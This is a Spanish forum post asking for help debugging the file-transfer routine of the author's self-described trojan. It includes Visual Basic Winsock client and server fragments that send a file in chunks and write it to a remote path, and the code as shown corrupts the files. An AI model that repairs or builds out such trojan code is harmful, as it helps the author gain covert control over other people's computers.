Holaaaaaaaa tenia un problema con la ransefencia de archivos de mi troyano y era k si enviavas un archivo muy grabde se colgaba y lei que lo mejor era partirlo en trozos para enviarlo.... Os pongo mi code para a ver si me podeis hechar una mano porque no encuentro el error :S:S la transferencia me la hace correctamente....y recibo el archivo con la extension correcta y el tamaño correcto (alguna vez tienen albun byte de mas) pero a la hora de abrirlos me dan error :S:S
Cliente:
If Datos = "enviar" Then Dim buffer As String Open CD.FileName For Binary Access Read As #1 buffer = Space$(25000) For i = 1 To FileLen(CD.FileName) / 25000 Get #1, , buffer WS1(Index).SendData buffer If FileLen(CD.FileName) - Loc(1) <= 25000 Then buffer = Space$(FileLen(CD.FileName) - Loc(1)) Get #1, , buffer WS1(Index).SendData buffer End If Next End If
Servidor:
If intrecibir = True Then dtotal = Datos + dtotal total = Len(dtotal) Text7.Text = total If tamaño <= Text7.Text And intrecibir = True Then Put #1, 1, dtotal 'Escribimos Close #1 intrecibir = False WS.SendData "recibido" End If End If
If Left(Datos, 7) = "archivo" Then dato = Split(Datos, "|") tamaño = dato(1) ruta = dato(2) Open ruta For Binary As #1 Text5.Text = tamaño Text6.Text = ruta intrecibir = True WS.SendData "enviar" End If
End Sub
Muchas gracias
pd: falnta alguna variable sin definir que las tengo al principio del code
|